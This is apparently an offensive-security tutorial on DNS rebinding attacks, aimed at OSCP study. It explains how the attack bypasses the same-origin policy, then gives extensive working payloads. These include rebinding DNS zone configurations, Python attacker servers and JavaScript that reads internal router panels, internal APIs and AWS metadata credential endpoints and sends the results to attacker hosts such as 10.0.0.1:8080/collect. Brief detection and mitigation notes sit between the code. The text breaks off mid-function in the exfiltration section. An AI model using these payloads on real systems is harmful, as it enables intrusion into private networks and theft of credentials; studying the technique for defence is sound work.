DNS Rebinding Attacks
Table of Contents
- Fundamentals
- 1.1 What Is DNS Rebinding?
- 1.2 Why It Works
- 1.3 DNS Resolution Timing
- 1.4 Same-Origin Policy Bypass
- Attack Flow
- 2.1 Step-by-Step Diagram
- 2.2 Timeline Visualization
- Attack Types
- 3.1 Classic Rebinding
- 3.2 Time-Delay Rebinding
- 3.3 Subdomain Rebinding
- 3.4 SSL Rebinding
- Working Payloads
- 4.1 JavaScript Rebinding Logic
- 4.2 DNS Server Configuration
- 4.3 Internal IP Targeting
- 4.4 Data Exfiltration
- Real-World Targets
- 5.1 Router Admin Panels
- 5.2 Internal Web Services
- 5.3 Cloud Metadata Endpoints
- 5.4 Internal API Endpoints
- Tools
- 6.1 rebind.it
- 6.2 DNSRebinder
- 6.3 Custom DNS Server Setup
- Mitigation
- 7.1 Hostname Validation
- 7.2 IP Allowlisting
- 7.3 DNS Pinning
- 7.4 Internal Network Isolation
- 7.5 Reverse Proxy Termination
- 7.6 CNAME Record Blocking
- Detection Methodology
- OSCP-Specific Tips
- Lab Scenarios
- Summary Cheat Sheet
1. Fundamentals
1.1 What Is DNS Rebinding?
DNS Rebinding is an attack technique that exploits the dynamic nature of DNS resolution to bypass browser security mechanisms, particularly the Same-Origin Policy (SOP). The attack works by changing the IP address that a domain name resolves to, at different stages of the browser’s interaction with that domain.
Core Concept
Phase 1: Victim visits attacker-controlled domain
evil.com → resolves to attacker's server (attacker controls this)
Phase 2: Browser establishes origin as "evil.com"
SOP allows all subsequent requests to "evil.com"
Phase 3: DNS record for evil.com changes
evil.com → now resolves to internal target (e.g., 192.168.1.1)
Phase 4: Browser makes requests to "evil.com"
Traffic goes to internal target, but SOP still allows it!
Why This Matters
The browser determines the origin of a page based on the hostname (domain name), not the IP address. If a domain’s DNS record changes between requests, the browser continues to treat all requests as coming from the same origin, even though they may now be targeting a completely different IP address.
1.2 Why It Works
DNS rebinding works due to several key factors:
-
DNS is Dynamic: DNS records can change at any time. There is no guarantee that a domain will resolve to the same IP address across multiple queries.
-
Browser Origin Model: Browsers use the scheme + host + port triplet to determine origin. The IP address is NOT part of the origin calculation.
-
DNS Caching is Limited: While browsers and OSes cache DNS results, caches expire (based on TTL). Once expired, a fresh DNS query returns the new IP.
-
SOP Trusts Hostnames: The Same-Origin Policy trusts that if two requests share the same hostname, they share the same origin — regardless of what IP that hostname resolves to.
1.3 DNS Resolution Timing
The attack relies on precise timing of DNS resolution:
Time Event DNS Resolution
──── ───── ──────────────
T+0s User visits evil.com evil.com → 10.0.0.1 (attacker)
T+0s Browser loads page Page served from attacker's server
T+0s Origin set to "evil.com" SOP established
T+5s DNS TTL expires Cache invalidated
T+5s DNS record updated evil.com → 192.168.1.1 (target)
T+6s JS makes request to evil.com evil.com → 192.168.1.1 (target!)
T+6s SOP allows request Same origin "evil.com"
TTL (Time-To-Live)
The TTL value in DNS records determines how long a resolver caches the result:
| TTL Value | Cache Duration | Attack Implication |
|---|---|---|
| 0 seconds | No caching | Immediate rebinding possible |
| 60 seconds | 1 minute | Wait 60s before rebinding |
| 300 seconds | 5 minutes | Wait 5min before rebinding |
| 3600 seconds | 1 hour | Longer wait, but still possible |
Key Insight: The attacker controls the DNS server, so they can set TTL to any value, including 0 seconds for immediate rebinding.
1.4 Same-Origin Policy Bypass
How SOP Normally Works
Origin = Scheme + Host + Port
Example:
https://evil.com:443/page1.html
Origin = "https://evil.com"
https://evil.com:443/page2.html
Origin = "https://evil.com" ← SAME ORIGIN, SOP allows interaction
https://target.com:443/page.html
Origin = "https://target.com" ← DIFFERENT ORIGIN, SOP blocks
How DNS Rebinding Breaks SOP
Step 1: User visits https://evil.com
DNS: evil.com → 10.0.0.1 (attacker's server)
Origin = "https://evil.com"
Step 2: Attacker's page loads JavaScript
JS sets up requests to evil.com
Step 3: DNS record changes
DNS: evil.com → 192.168.1.1 (internal target)
Step 4: JS makes request to https://evil.com/admin
Browser resolves: evil.com → 192.168.1.1
Browser checks SOP: Origin is still "https://evil.com" ✓
Request goes to 192.168.1.1/admin (internal target!)
The browser sees the same hostname (evil.com), so SOP allows the request — even though the traffic now goes to an internal IP address that should be inaccessible from the internet.
2. Attack Flow
2.1 Step-by-Step Diagram
┌─────────────────────────────────────────────────────────────────────┐
│ DNS REBINDING ATTACK FLOW │
└─────────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────────┐ ┌──────────────────┐
│ ATTACKER │ │ VICTIM │ │ INTERNAL │
│ SERVER │ │ (BROWSER) │ │ TARGET │
│ 10.0.0.1 │ │ │ │ 192.168.1.1 │
└─────┬─────┘ └──────┬───────┘ └────────┬─────────┘
│ │ │
│ ① DNS Query │ │
│ "evil.com?" ────────│ │
│ │ │
│ ② DNS Response │ │
│ "10.0.0.1" ────────│ │
│ │ │
│ ③ HTTP GET / │ │
│ ────────────────────│ │
│ │ │
│ ④ HTML + JS │ │
│ (with rebinding │ │
│ logic) ────────────│ │
│ │ │
│ │ ⑤ JS executes │
│ │ Sets up timers/ │
│ │ polling │
│ │ │
│ ⑥ Update DNS │ │
│ Record: │ │
│ evil.com → │ │
│ 192.168.1.1 │ │
│ │ │
│ │ ⑦ DNS Cache Expires │
│ │ (TTL reached) │
│ │ │
│ │ ⑧ HTTP GET /admin │
│ │ to "evil.com" │
│ │ │
│ │ ⑨ DNS Query │
│ │ "evil.com?" ────────────│──────┐
│ │ │ │
│ ⑩ DNS Response │ │ │
│ "192.168.1.1" ──────│──────────────────────────│ │
│ │ │ │
│ │ ⑪ HTTP GET /admin │ │
│ │ ────────────────────────│──────┤
│ │ │ │
│ │ ⑫ Response from │ │
│ │ internal target │ │
│ │ (admin panel data) │ │
│ │ ◀───────────────────────│──────┘
│ │ │
│ ⑬ Data exfiltrated │ │
│ ◀───────────────────│ │
│ │ │
└─────────────────────────────────────────────────────────────────────┘
2.2 Timeline Visualization
Timeline (seconds):
Attacker DNS Server:
[evil.com → 10.0.0.1]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
↑ TTL expires, record updated
[evil.com → 192.168.1.1]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Victim Browser:
[Visit evil.com]→[Load Page]→[JS Executes]→[Wait/TTL]→[Request /admin]
↑ 10.0.0.1 ↑ Origin ↑ Polling ↑ Cache ↑ Resolves
=evil.com Started Misses to 192.168.1.1
Internal Target:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[Receives /admin]→[Responds]
3. Attack Types
3.1 Classic Rebinding
Technical Explanation
Classic DNS rebinding is the most straightforward form. The attacker controls a domain and its DNS server. The attack proceeds in two phases:
Phase 1 — Initial Resolution (Attacker’s Server)
- The domain resolves to the attacker’s server
- The attacker serves a malicious HTML/JavaScript page
- The browser establishes the origin as the attacker’s domain
Phase 2 — Rebinding (Internal Target)
- After a delay (or when DNS cache expires), the DNS record is updated
- The domain now resolves to an internal IP address
- Subsequent requests from the browser go to the internal target
- SOP still allows these requests because the hostname hasn’t changed
Attack Flow
1. Victim visits: http://evil.com
DNS: evil.com → 10.0.0.1 (attacker)
2. Attacker serves malicious page with JavaScript
3. After delay, attacker updates DNS:
DNS: evil.com → 192.168.1.1 (internal target)
4. JavaScript makes request to: http://evil.com/admin
Browser resolves: evil.com → 192.168.1.1
SOP allows: Same origin "evil.com"
Request reaches: 192.168.1.1/admin
Working Example
Attacker’s DNS Configuration (BIND)
; /etc/bind/zones/evil.com.zone
$TTL 0
@ IN SOA ns1.evil.com. admin.evil.com. (
2024010101 ; Serial
3600 ; Refresh
1800 ; Retry
1209600 ; Expire
0 ; Minimum TTL (0 = no caching!)
)
@ IN NS ns1.evil.com.
@ IN A 10.0.0.1 ; Phase 1: Attacker's server
; After attack starts, change to:
; @ IN A 192.168.1.1 ; Phase 2: Internal target
Attacker’s Web Server (Python)
#!/usr/bin/env python3
# attacker_server.py - Phase 1: Serve malicious page
from http.server import HTTPServer, SimpleHTTPRequestHandler
import threading
import time
import subprocess
class RebindingHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
html = '''<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Please wait while we verify your connection...</h1>
<script>
// Wait for DNS rebinding to take effect
setTimeout(function() {
// After delay, DNS should now resolve to internal target
fetch('/admin')
.then(response => response.text())
.then(data => {
// Exfiltrate data to attacker
fetch('http://10.0.0.1:8080/collect?data=' + encodeURIComponent(data));
})
.catch(err => {
// If CORS blocks, try image-based exfiltration
var img = new Image();
img.src = 'http://10.0.0.1:8080/collect?status=blocked';
});
}, 10000); // Wait 10 seconds for DNS rebinding
</script>
</body>
</html>'''
self.wfile.write(html.encode())
else:
self.send_response(404)
self.end_headers()
# Start server
server = HTTPServer(('0.0.0.0', 80), RebindingHandler)
print('[*] Attacker server running on port 80')
print('[*] Waiting for victim to visit...')
server.serve_forever()
DNS Update Script
#!/usr/bin/env python3
# dns_rebind.py - Update DNS record after delay
import time
import subprocess
def update_dns_record():
print('[*] Waiting 5 seconds before rebinding...')
time.sleep(5)
# Update the DNS zone file
zone_file = '/etc/bind/zones/evil.com.zone'
with open(zone_file, 'w') as f:
f.write('''$TTL 0
@ IN SOA ns1.evil.com. admin.evil.com. (
2024010102 ; Serial (incremented!)
3600
1800
1209600
0
)
@ IN NS ns1.evil.com.
@ IN A 192.168.1.1 ; Now points to internal target!
''')
# Reload BIND
subprocess.run(['rndc', 'reload'])
print('[*] DNS record updated! evil.com now resolves to 192.168.1.1')
if __name__ == '__main__':
update_dns_record()
Detection Methodology
| Detection Method | Description |
|---|---|
| DNS Monitoring | Monitor for rapid DNS changes on the same domain |
| Request Logging | Log both hostname and resolved IP for each request |
| Anomaly Detection | Flag requests where hostname doesn’t match expected IP |
| Honeypot DNS | Use DNS servers that log all queries for analysis |
Mitigation Strategies
- Validate Hostname on Server Side: Check that the
Hostheader matches the expected hostname - IP Allowlisting: Only accept connections from known IP ranges
- DNS Pinning: Cache DNS results and refuse to re-resolve
- Reverse Proxy: Terminate all external traffic at a reverse proxy that validates origins
3.2 Time-Delay Rebinding
Technical Explanation
Time-delay rebinding relies on the TTL (Time-To-Live) value of DNS records. The attacker sets a very low TTL (or 0) to ensure the browser doesn’t cache the DNS result for long. After the TTL expires, the browser performs a fresh DNS query, which returns the new (internal) IP address.
Key Differences from Classic Rebinding
| Aspect | Classic Rebinding | Time-Delay Rebinding |
|---|---|---|
| Timing | Manual DNS update | TTL-based automatic |
| Control | Attacker manually changes record | DNS record changes based on TTL |
| Reliability | Depends on timing | More predictable |
| Complexity | Higher (manual sync) | Lower (automatic) |
Attack Flow
1. Victim visits: http://evil.com
DNS Response: evil.com → 10.0.0.1, TTL=0
2. Browser caches result for 0 seconds (no caching)
3. Attacker's page loads with JavaScript
4. JavaScript waits for TTL to expire (immediate with TTL=0)
5. Next DNS query returns new result:
DNS Response: evil.com → 192.168.1.1
6. Request to evil.com now goes to internal target
Working Example
DNS Configuration with Low TTL
; /etc/bind/zones/evil.com.zone
$TTL 0 ; Critical: TTL=0 means no caching!
@ IN SOA ns1.evil.com. admin.evil.com. (
2024010101
3600
1800
1209600
0
)
@ IN NS ns1.evil.com.
; Phase 1 record (initial)
@ IN A 10.0.0.1
JavaScript with Precise Timing
// rebinding_payload.js
function attemptRebind() {
const targetPath = '/admin';
const exfilUrl = 'http://10.0.0.1:8080/collect';
// Function to make request after rebinding
function makeRequest() {
fetch(targetPath)
.then(response => {
if (response.ok) {
return response.text();
}
throw new Error('Request failed');
})
.then(data => {
// Exfiltrate via image request (bypasses CORS)
const img = new Image();
img.src = exfilUrl + '?data=' + encodeURIComponent(data.substring(0, 1000));
console.log('[*] Data exfiltrated');
})
.catch(err => {
console.log('[!] Request blocked or failed:', err.message);
// Retry after delay
setTimeout(makeRequest, 2000);
});
}
// Wait for DNS cache to expire and record to change
// With TTL=0, this can be immediate
setTimeout(makeRequest, 5000);
}
// Start the attack
attemptRebind();
Advanced Timing with Multiple Attempts
// advanced_rebinding.js
class DNSRebinder {
constructor(options) {
this.domain = options.domain || 'evil.com';
this.targetPaths = options.paths || ['/admin', '/api/config', '/status'];
this.exfilUrl = options.exfilUrl || 'http://10.0.0.1:8080/collect';
this.maxAttempts = options.maxAttempts || 10;
this.attemptDelay = options.attemptDelay || 2000;
this.attemptCount = 0;
}
async attempt() {
if (this.attemptCount >= this.maxAttempts) {
console.log('[!] Max attempts reached');
return;
}
this.attemptCount++;
console.log(`[*] Attempt ${this.attemptCount}/${this.maxAttempts}`);
for (const path of this.targetPaths) {
await this.probePath(path);
}
// Wait before next attempt
await this.sleep(this.attemptDelay);
this.attempt();
}
async probePath(path) {
try {
const response = await fetch(this.domain + path, {
mode: 'cors',
credentials: 'include'
});
if (response.ok) {
const data = await response.text();
this.exfiltrate(path, data);
}
} catch (err) {
console.log(`[!] Failed to access ${path}:`, err.message);
}
}
exfiltrate(path, data) {
const img = new Image();
const truncated = data.substring(0, 2000);
img.src = `${this.exfilUrl}?path=${encodeURIComponent(path)}&data=${encodeURIComponent(truncated)}`;
console.log(`[*] Exfiltrated ${path} (${truncated.length} chars)`);
}
sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
// Initialize and start
const rebinder = new DNSRebinder({
domain: 'evil.com',
paths: ['/admin', '/api/config', '/status', '/debug'],
exfilUrl: 'http://10.0.0.1:8080/collect'
});
rebinder.attempt();
Detection Methodology
- Monitor DNS Query Frequency: High-frequency queries to the same domain may indicate rebinding
- TTL Analysis: Flag domains with unusually low TTL values
- IP Change Detection: Alert when a domain’s resolved IP changes rapidly
Mitigation Strategies
- Minimum TTL Enforcement: DNS servers can enforce minimum TTL values
- DNS Response Rate Limiting: Limit the rate of DNS responses to prevent rapid rebinding
- Server-Side Host Validation: Validate the Host header against expected values
3.3 Subdomain Rebinding
Technical Explanation
Subdomain rebinding exploits the fact that all subdomains share the same origin for SOP purposes in certain contexts. The attacker uses different subdomains to control different phases of the attack:
phase1.evil.com→ resolves to attacker’s serverphase2.evil.com→ resolves to internal target
While technically different origins, some browser features and cookie scopes can be exploited across subdomains.
Attack Flow
1. Victim visits: http://phase1.evil.com
DNS: phase1.evil.com → 10.0.0.1 (attacker)
2. Attacker sets cookies on .evil.com (domain-wide)
3. JavaScript redirects to: http://phase2.evil.com
DNS: phase2.evil.com → 192.168.1.1 (internal target)
4. Cookies set on .evil.com are sent with request
5. Internal target receives request with attacker's cookies
Working Example
DNS Configuration
; /etc/bind/zones/evil.com.zone
$TTL 0
@ IN SOA ns1.evil.com. admin.evil.com. (
2024010101
3600
1800
1209600
0
)
@ IN NS ns1.evil.com.
; Phase 1 subdomain
phase1 IN A 10.0.0.1
; Phase 2 subdomain (resolves to internal target)
phase2 IN A 192.168.1.1
JavaScript Payload
// subdomain_rebinding.js
// Phase 1: Set cookies on the parent domain
function phase1Setup() {
// Set cookie with domain=.evil.com (applies to all subdomains)
document.cookie = 'session=attacker-controlled; domain=.evil.com; path=/';
document.cookie = 'csrf_token=stolen-token; domain=.evil.com; path=/';
console.log('[*] Cookies set on .evil.com');
// Redirect to phase 2
setTimeout(() => {
window.location.href = 'http://phase2.evil.com/admin';
}, 1000);
}
// Phase 2: Access internal target with cookies
function phase2Attack() {
// Cookies from .evil.com are automatically sent
fetch('/admin')
.then(response => response.text())
.then(data => {
const img = new Image();
img.src = 'http://phase1.evil.com/collect?data=' + encodeURIComponent(data);
});
}
// Determine which phase we're in
if (window.location.hostname === 'phase1.evil.com') {
phase1Setup();
} else if (window.location.hostname === 'phase2.evil.com') {
phase2Attack();
}
Detection Methodology
- Subdomain Monitoring: Monitor for unusual subdomain patterns
- Cookie Scope Analysis: Flag cookies set with broad domain scopes
- Cross-Subdomain Request Tracking: Detect requests that jump between subdomains
Mitigation Strategies
- Strict Cookie Scopes: Set cookies with specific domain values, not wildcards
- Subdomain Isolation: Treat each subdomain as a separate origin
- SameSite Cookies: Use SameSite=Strict to prevent cross-subdomain cookie sending
3.4 SSL Rebinding
Technical Explanation
SSL rebinding combines DNS rebinding with HTTPS/SSL. The challenge is that SSL certificates are issued for specific hostnames, not IP addresses. The attacker needs a valid certificate for the domain to avoid browser warnings.
How It Works
1. Attacker obtains SSL certificate for evil.com
Certificate is valid for: evil.com
2. Victim visits: https://evil.com
DNS: evil.com → 10.0.0.1 (attacker)
SSL handshake succeeds (valid cert for evil.com)
3. DNS record changes:
DNS: evil.com → 192.168.1.1 (internal target)
4. Browser makes HTTPS request to evil.com
DNS resolves to 192.168.1.1
Browser attempts SSL handshake with 192.168.1.1
5. If internal target has no SSL or wrong cert:
- Browser may show warning
- Attack may fail
6. If internal target has valid SSL or accepts any cert:
- Attack succeeds
Working Example
Obtaining SSL Certificate (Let’s Encrypt)
# Install Certbot
sudo apt install certbot
# Obtain certificate for evil.com
sudo certbot certonly --standalone -d evil.com
# Certificate files:
# /etc/letsencrypt/live/evil.com/fullchain.pem
# /etc/letsencrypt/live/evil.com/privkey.pem
HTTPS Server with SSL
#!/usr/bin/env python3
# https_attacker_server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
class HTTPSRebindingHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
html = '''<!DOCTYPE html>
<html>
<head><title>Secure Connection</title></head>
<body>
<h1>Establishing secure connection...</h1>
<script>
setTimeout(function() {
fetch('/admin', {
method: 'GET',
credentials: 'include'
})
.then(r => r.text())
.then(data => {
var img = new Image();
img.src = 'https://collector.evil.com/exfil?data=' + encodeURIComponent(data);
});
}, 10000);
</script>
</body>
</html>'''
self.wfile.write(html.encode())
# Create HTTPS server
server = HTTPServer(('0.0.0.0', 443), HTTPSRebindingHandler)
# Wrap with SSL
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(
'/etc/letsencrypt/live/evil.com/fullchain.pem',
'/etc/letsencrypt/live/evil.com/privkey.pem'
)
server.socket = context.wrap_socket(server.socket, server_side=True)
print('[*] HTTPS attacker server running on port 443')
server.serve_forever()
Challenges with SSL Rebinding
| Challenge | Description | Mitigation |
|---|---|---|
| Certificate Mismatch | Internal target may not have valid cert for attacker’s domain | Use domains that internal targets already trust |
| HSTS | HTTP Strict Transport Security may prevent rebinding | Target sites without HSTS |
| Certificate Pinning | Some apps pin specific certificates | Rare in web browsers |
| Mixed Content | Browsers may block HTTP content on HTTPS pages | Use HTTPS for all resources |
Detection Methodology
- Certificate Monitoring: Monitor for certificates used on unexpected IPs
- SSL/TLS Inspection: Inspect SSL handshakes for anomalies
- HSTS Enforcement: Enforce HSTS to prevent downgrade attacks
Mitigation Strategies
- HSTS Preloading: Register domain in HSTS preload list
- Certificate Transparency: Monitor CT logs for unauthorized certificates
- Strict Transport Security: Enforce HTTPS with long max-age
4. Working Payloads
4.1 JavaScript Rebinding Logic
Basic Rebinding Payload
// basic_rebinding.js - Simple DNS rebinding payload
(function() {
'use strict';
const CONFIG = {
targetDomain: 'evil.com',
targetPaths: [
'/admin',
'/admin/login',
'/api/config',
'/api/users',
'/status',
'/debug',
'/server-status',
'/server-info'
],
exfilEndpoint: 'http://10.0.0.1:8080/collect',
delayMs: 10000,
maxRetries: 5
};
let retryCount = 0;
function exfiltrate(path, data) {
const img = new Image();
const maxLen = 2000;
const truncated = data.length > maxLen ? data.substring(0, maxLen) : data;
img.src = `${CONFIG.exfilEndpoint}?path=${encodeURIComponent(path)}&data=${encodeURIComponent(truncated)}`;
console.log(`[+] Exfiltrated ${path} (${truncated.length} chars)`);
}
function probePath(path) {
return fetch(CONFIG.targetDomain + path, {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => {
if (response.ok) {
return response.text().then(data => {
console.log(`[+] Success: ${path}`);
exfiltrate(path, data);
return data;
});
}
throw new Error(`HTTP ${response.status}`);
})
.catch(err => {
console.log(`[-] Failed: ${path} - ${err.message}`);
});
}
function attemptRebind() {
if (retryCount >= CONFIG.maxRetries) {
console.log('[!] Max retries reached');
return;
}
retryCount++;
console.log(`[*] Rebinding attempt ${retryCount}/${CONFIG.maxRetries}`);
const promises = CONFIG.targetPaths.map(path => probePath(path));
Promise.all(promises).then(() => {
setTimeout(attemptRebind, CONFIG.delayMs);
});
}
// Start after delay to allow DNS rebinding
setTimeout(attemptRebind, CONFIG.delayMs);
})();
Advanced Rebinding with AJAX Polling
// advanced_rebinding.js - Advanced payload with multiple techniques
class AdvancedDNSRebinder {
constructor(config) {
this.config = {
domain: config.domain || 'evil.com',
paths: config.paths || ['/admin', '/api/config'],
exfilUrl: config.exfilUrl || 'http://10.0.0.1:8080/collect',
delay: config.delay || 5000,
retries: config.retries || 10,
methods: config.methods || ['GET', 'POST'],
headers: config.headers || {}
};
this.attemptCount = 0;
this.results = [];
}
async start() {
console.log('[*] Starting DNS rebinding attack...');
while (this.attemptCount < this.config.retries) {
this.attemptCount++;
console.log(`[*] Attempt ${this.attemptCount}/${this.config.retries}`);
await this.probeAllPaths();
await this.sleep(this.config.delay);
}
console.log('[*] Attack complete. Results:', this.results);
}
async probeAllPaths() {
const promises = this.config.paths.map(path => this.probePath(path));
await Promise.allSettled(promises);
}
async probePath(path) {
for (const method of this.config.methods) {
await this.makeRequest(method, path);
}
}
async makeRequest(method, path) {
const url = `http://${this.config.domain}${path}`;
try {
const options = {
method: method,
mode: 'cors',
credentials: 'include',
headers: { ...this.config.headers }
};
if (method === 'POST') {
options.body = JSON.stringify({ test: 'rebinding' });
options.headers['Content-Type'] = 'application/json';
}
const response = await fetch(url, options);
if (response.ok) {
const contentType = response.headers.get('content-type') || '';
if (contentType.includes('json')) {
const data = await response.json();
this.exfiltrate(path, JSON.stringify(data), 'json');
} else {
const text = await response.text();
this.exfiltrate(path, text, 'text');
}
this.results.push({
path: path,
method: method,
status: response.status,
success: true
});
}
} catch (err) {
this.results.push({
path: path,
method: method,
error: err.message,
success: false
});
}
}
exfiltrate(path, data, type) {
const img = new Image();
const maxLen = 1500;
const truncated = data.length > maxLen ? data.substring(0, maxLen) : data;
img.src = `${this.config.exfilUrl}?path=${encodeURIComponent(path)}&type=${type}&data=${encodeURIComponent(truncated)}`;
console.log(`[+] Exfiltrated ${path} (${type}, ${truncated.length} chars)`);
}
sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
// Usage
const rebinder = new AdvancedDNSRebinder({
domain: 'evil.com',
paths: [
'/admin',
'/admin/login',
'/api/config',
'/api/users',
'/api/keys',
'/status',
'/debug',
'/server-status',
'/.env',
'/wp-admin',
'/phpmyadmin'
],
exfilUrl: 'http://10.0.0.1:8080/collect',
delay: 5000,
retries: 10
});
rebinder.start();
XMLHttpRequest-Based Rebinding
// xhr_rebinding.js - Using XMLHttpRequest for broader compatibility
function xhrRebind() {
const domain = 'evil.com';
const paths = ['/admin', '/api/config', '/status'];
const exfilUrl = 'http://10.0.0.1:8080/collect';
function probe(path) {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://${domain}${path}`, true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status >= 200 && xhr.status < 300) {
console.log(`[+] Success: ${path} (${xhr.status})`);
// Exfiltrate via image
const img = new Image();
const data = xhr.responseText.substring(0, 1000);
img.src = `${exfilUrl}?path=${encodeURIComponent(path)}&data=${encodeURIComponent(data)}`;
} else {
console.log(`[-] Failed: ${path} (${xhr.status})`);
}
}
};
xhr.send();
}
// Probe all paths after delay
setTimeout(() => {
paths.forEach(probe);
}, 10000);
}
xhrRebind();
4.2 DNS Server Configuration for Rebinding
BIND Configuration
; /etc/bind/named.conf.local
zone "evil.com" {
type master;
file "/etc/bind/zones/evil.com.zone";
allow-update { none; };
};
; /etc/bind/zones/evil.com.zone
$TTL 0
@ IN SOA ns1.evil.com. admin.evil.com. (
2024010101 ; Serial
3600 ; Refresh
1800 ; Retry
1209600 ; Expire
0 ; Minimum TTL
)
@ IN NS ns1.evil.com.
ns1 IN A 10.0.0.1
; Phase 1: Attacker's server
@ IN A 10.0.0.1
; After rebinding, change to:
; @ IN A 192.168.1.1
Dynamic DNS Update Script
#!/usr/bin/env python3
# dynamic_dns_update.py
import dns.update
import dns.name
import dns.rdatatype
import time
import sys
class DynamicDNSUpdater:
def __init__(self, nameserver, zone, tsig_key=None, tsig_algorithm=None):
self.nameserver = nameserver
self.zone = zone
self.tsig_key = tsig_key
self.tsig_algorithm = tsig_algorithm
def update_record(self, name, record_type, record_data, ttl=0):
"""Update a DNS record dynamically"""
update = dns.update.Update(self.zone, keyname=self.tsig_key,
keyalgorithm=self.tsig_algorithm)
# Delete existing record
update.delete(name, record_type)
# Add new record
update.add(name, ttl, record_type, record_data)
try:
response = dns.query.send(update, self.nameserver)
print(f"[+] Updated {name} {record_type} -> {record_data}")
return True
except Exception as e:
print(f"[-] Failed to update: {e}")
return False
def rebind(self, domain, attacker_ip, target_ip, delay=5):
"""Perform DNS rebinding sequence"""
print(f"[*] Starting rebinding for {domain}")
# Phase 1: Point to attacker
self.update_record(domain, 'A', attacker_ip, ttl=0)
print(f"[*] Phase 1: {domain} -> {attacker_ip}")
# Wait for victim to connect
time.sleep(delay)
# Phase 2: Point to internal target
self.update_record(domain, 'A', target_ip, ttl=0)
print(f"[*] Phase 2: {domain} -> {target_ip}")
return True
# Usage
if __name__ == '__main__':
updater = DynamicDNSUpdater(
nameserver='127.0.0.1',
zone='evil.com'
)
updater.rebind(
domain='evil.com.',
attacker_ip='10.0.0.1',
target_ip='192.168.1.1',
delay=5
)
dnsmasq Configuration (Simpler Alternative)
# /etc/dnsmasq.conf
# DNS rebinding configuration
# Phase 1: Point to attacker server
address=/evil.com/10.0.0.1
# To switch to Phase 2, change to:
# address=/evil.com/192.168.1.1
# Set low TTL
resolv-file=/etc/resolv.conf
cache-size=0
4.3 Internal IP Targeting
Common Internal Targets
// internal_targets.js - Common internal IP ranges and targets
const INTERNAL_TARGETS = {
// Router/Network Equipment
routers: [
'192.168.1.1',
'192.168.0.1',
'10.0.0.1',
'10.0.0.254',
'172.16.0.1'
],
// Cloud Metadata
cloud_metadata: [
'169.254.169.254', // AWS, Azure, GCP
'metadata.google.internal', // GCP
'169.254.169.254/latest/meta-data/' // AWS
],
// Common Internal Services
services: [
'127.0.0.1', // Localhost
'localhost',
'0.0.0.0'
],
// Common Ports
ports: [
80, // HTTP
443, // HTTPS
8080, // Alt HTTP
8443, // Alt HTTPS
3000, // Node.js
5000, // Python Flask
8000, // Python HTTP
9090, // Prometheus
8500, // Consul
2375, // Docker API
5984, // CouchDB
9200, // Elasticsearch
6379, // Redis
27017 // MongoDB
]
};
// Probe internal targets
function probeInternalTargets() {
const domain = 'evil.com';
// Probe common router addresses
INTERNAL_TARGETS.routers.forEach(ip => {
probeTarget(ip);
});
// Probe cloud metadata
probeCloudMetadata();
}
function probeTarget(ip) {
const paths = ['/admin', '/login', '/status', '/api'];
paths.forEach(path => {
fetch(`http://${ip}${path}`)
.then(r => r.text())
.then(data => exfiltrate(ip, path, data))
.catch(() => {});
});
}
function probeCloudMetadata() {
const metadataPaths = [
'/latest/meta-data/instance-id',
'/latest/meta-data/iam/security-credentials/',
'/latest/meta-data/public-keys/',
'/latest/meta-data/tags/instance/'
];
metadataPaths.forEach(path => {
fetch(`http://169.254.169.254${path}`)
.then(r => r.text())
.then(data => exfiltrate('169.254.169.254', path, data))
.catch(() => {});
});
}
function exfiltrate(target, path, data) {
const img = new Image();
img.src = `http://10.0.0.1:8080/collect?target=${encodeURIComponent(target)}&path=${encodeURIComponent(path)}&data=${encodeURIComponent(data.substring(0, 1000))}`;
}
Targeting Specific Services
// service_targeting.js
function targetRouterAdmin() {
// Common router admin paths
const routerPaths = [
'/admin',
'/admin/login.asp',
'/index.asp',
'/status.asp',
'/network.asp',
'/wireless.asp',
'/admin/index.html',
'/cgi-bin/status',
'/cgi-bin/main.cgi'
];
routerPaths.forEach(path => {
fetch(`http://evil.com${path}`)
.then(r => r.text())
.then(data => {
console.log(`[+] Router response: ${path}`);
exfiltrate('router', path, data);
})
.catch(() => {});
});
}
function targetCloudMetadata() {
// AWS metadata endpoints
const awsPaths = [
'/latest/meta-data/instance-id',
'/latest/meta-data/ami-id',
'/latest/meta-data/reservation-id',
'/latest/meta-data/iam/security-credentials/',
'/latest/meta-data/public-keys/0/openssh-key',
'/latest/meta-data/tags/instance/',
'/latest/dynamic/instance-identity/document'
];
awsPaths.forEach(path => {
fetch(`http://169.254.169.254${path}`)
.then(r => r.text())
.then(data => {
console.log(`[+] AWS metadata: ${path}`);
exfiltrate('aws', path, data);
})
.catch(() => {});
});
}
function targetInternalAPI() {
// Common internal API endpoints
const apiPaths = [
'/api/v1/users',
'/api/v1/config',
'/api/v1/keys',
'/api/v1/secrets',
'/api/internal/status',
'/api/debug/vars',
'/api/health',
'/api/metrics'
];
apiPaths.forEach(path => {
fetch(`http://evil.com${path}`)
.then(r => r.json())
.then(data => {
console.log(`[+] API response: ${path}`);
exfiltrate('api', path, JSON.stringify(data));
})
.catch(() => {});
});
}
4.4 Data Exfiltration After Rebinding
Image-Based Exfiltration
// image_exfil.js - Exfiltrate data via image requests
function exfiltrateViaImage(data, endpoint = 'http://10.0.0.1:8080/collect') {
// Chunk data if too large
const chunkSize = 1000;
const chunks = [];
for (let i = 0; i < data.length; i += chunkSize) {
chunks.push(data.substring(i, i + chunkSize));
}
// Send each chunk
chunks.forEach((chunk, index) => {
const img = new Image();
img.src = `${endpoint}?chunk=${index}&total=${chunks.length}&data=${encodeURIComponent(chunk)}`;
